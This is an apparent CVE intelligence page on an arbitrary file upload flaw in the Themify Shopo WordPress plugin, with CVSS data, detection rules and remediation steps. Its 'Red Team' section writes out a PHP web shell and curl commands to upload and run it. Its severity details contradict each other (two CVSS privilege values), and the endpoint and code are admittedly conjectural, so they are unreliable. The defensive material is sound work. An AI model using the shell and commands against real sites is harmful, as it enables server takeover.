☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Themify logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 🐛 CWE-434
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-31048

CVE-2025-31048 Arbitrary File Upload in Themify
📅 PUBLISHED: 2026-01-05 11:17 UTC 🔄 UPDATED: 2026-10-09 05:40 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.31%
👁️
0.31% probability
7.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1105
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 9.9
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: H Confidentiality High
I: H Integrity High
A: H Availability High
9.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-31048 is a critical Unrestricted Upload of File with Dangerous Type vulnerability affecting the Themify Shopo WordPress plugin, versions 1.1.4 and below. This flaw allows an unauthenticated attacker to upload arbitrary files, including web shells, to the target web server. Successful exploitation leads to complete remote code execution (RCE), full site compromise, and potential lateral movement within the hosting environment. The vulnerability is classified as a WordPress ecosystem issue, specifically within the plugin's file upload handling mechanism. No public exploit code or patch is currently available, making this a high-priority zero-day threat.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. The supply chain risk is elevated because:

  • No patch exists – users are exposed until the vendor releases an update.
  • Plugin ecosystem – compromised plugins can be used to inject malicious code into thousands of sites.
  • Dependency chain – sites using Shopo may be indirectly vulnerable even if the core WordPress installation is patched.

CVSS Breakdown & Threat Level

  • CVSS Score: 9.9 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Changed (impact on resources beyond the vulnerable component)
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

Threat Level: Critical. The combination of unauthenticated access, low complexity, and full system compromise makes this vulnerability extremely dangerous. The lack of a patch and public exploit increases the urgency for defensive measures.

Deep Dive & Mechanics

The vulnerability exists in the file upload functionality of the Shopo plugin. The plugin fails to properly validate the file type, extension, and content during the upload process. An attacker can craft a malicious file (e.g., a PHP web shell) and upload it to the server via an HTTP POST request to an exposed endpoint (likely /wp-admin/admin-ajax.php or a custom handler).

Root Cause: The plugin does not implement:

  • File extension whitelisting (e.g., only allowing .jpg, .png).
  • MIME type validation.
  • Content inspection (e.g., checking for PHP tags).
  • Proper directory permissions (uploads directory may be writable).

Attack Flow:

  1. Attacker identifies a vulnerable Shopo installation (version <= 1.1.4).
  2. Attacker sends a crafted multipart/form-data request containing a PHP web shell disguised as an image.
  3. The plugin saves the file to the WordPress uploads directory (e.g., /wp-content/uploads/shopo/).
  4. Attacker accesses the uploaded file via a web browser, triggering execution of the PHP code.
  5. The web shell provides remote command execution, allowing the attacker to execute system commands, exfiltrate data, or pivot to other systems.

Vulnerable vs. Patched Code

Since no patch is available, the following analysis is based on common vulnerable patterns in WordPress plugins.

Vulnerable Code (Conceptual):

// Vulnerable upload handler
function shopo_handle_upload() {
    $file = $_FILES['file'];
    $upload_dir = wp_upload_dir();
    $target_path = $upload_dir['basedir'] . '/shopo/' . $file['name'];
    move_uploaded_file($file['tmp_name'], $target_path);
    echo 'File uploaded successfully.';
}

Patched Code (Expected):

// Patched upload handler
function shopo_handle_upload() {
    $file = $_FILES['file'];
    $allowed_types = array('image/jpeg', 'image/png', 'image/gif');
    $file_info = wp_check_filetype($file['name']);
    
    if (!in_array($file['type'], $allowed_types) || !in_array($file_info['ext'], array('jpg', 'jpeg', 'png', 'gif'))) {
        wp_die('Invalid file type.');
    }
    
    $upload_dir = wp_upload_dir();
    $target_path = $upload_dir['basedir'] . '/shopo/' . sanitize_file_name($file['name']);
    move_uploaded_file($file['tmp_name'], $target_path);
    echo 'File uploaded successfully.';
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with Shopo plugin version <= 1.1.4.
  • Network access to the target.

Step 1: Craft a Web Shell Create a simple PHP web shell (e.g., shell.php):

<?php system($_GET['cmd']); ?>

Step 2: Upload the Shell Use curl to send the malicious file:

curl -X POST -F "file=@shell.php" -F "action=shopo_upload" http://target.com/wp-admin/admin-ajax.php

Step 3: Execute Commands Access the uploaded shell:

curl http://target.com/wp-content/uploads/shopo/shell.php?cmd=id

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Detection & Response)

Detection Steps:

  1. Monitor file upload endpoints for unusual file extensions (.php, .phtml, .php5).
  2. Alert on files uploaded to the shop directory that are not images.
  3. Review web server logs for POST requests to /wp-admin/admin-ajax.php with action=shopo_upload.

Response Actions:

  1. Immediately isolate the affected WordPress instance.
  2. Remove any unauthorized files from the uploads directory.
  3. Disable the Shopo plugin until a patch is applied.
  4. Scan for additional backdoors or persistence mechanisms.
  5. Rotate all credentials (database, admin, FTP).

Indicators of Compromise (IOCs)

Type Indicator Description
File /wp-content/uploads/shopo/*.php Web shell files in the uploads directory
Network POST to /wp-admin/admin-ajax.php with action=shopo_upload Malicious upload request
Network Outbound connections to attacker C2 Post-exploitation beaconing
Log move_uploaded_file errors in PHP error log Failed upload attempts
File Suspicious PHP files in /wp-content/uploads/ Unauthorized file uploads

Detection Engineering

YARA Rule

rule CVE_2025_31048_Webshell {
    meta:
        description = "Detects web shells uploaded via CVE-2025-31048"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-31048"
    strings:
        $php_tag = "<?php"
        $system_call = /system\(|exec\(|shell_exec\(|passthru\(/
        $get_param = /\$_GET\[/
    condition:
        $php_tag and $system_call and $get_param
}

Sigma Rule

title: CVE-2025-31048 - Unrestricted File Upload to Shopo Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit unrestricted file upload in Shopo plugin
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=shopo_upload'
    condition: selection
falsepositives:
    - Legitimate plugin updates (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-31048 - Shopo Plugin File Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=shopo_upload"; http_client_body; pcre:"/\.(php|phtml|php5)$/"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Shopo plugin until a patch is released.
  2. Implement a Web Application Firewall (WAF) rule to block file uploads with dangerous extensions (.php, .phtml, .php5, .shtml).
  3. Restrict write permissions on the uploads directory to prevent execution of PHP files (e.g., via .htaccess):
    <FilesMatch "\.php$">
        Deny from all
    </FilesMatch>
    
  4. Monitor logs for any signs of exploitation.

Long-Term Fixes:

  1. Apply the official patch from Themify as soon as it becomes available.
  2. Conduct a security audit of all WordPress plugins.
  3. Implement file upload validation at the application level (extension, MIME type, content inspection).
  4. Use a security plugin (e.g., Wordfence) to detect and block malicious uploads.

Workaround (if plugin cannot be disabled):

  • Modify the plugin's upload handler to include file type validation (see patched code example above).
  • Move the uploads directory outside the web root and serve files via a proxy script.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-31048/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.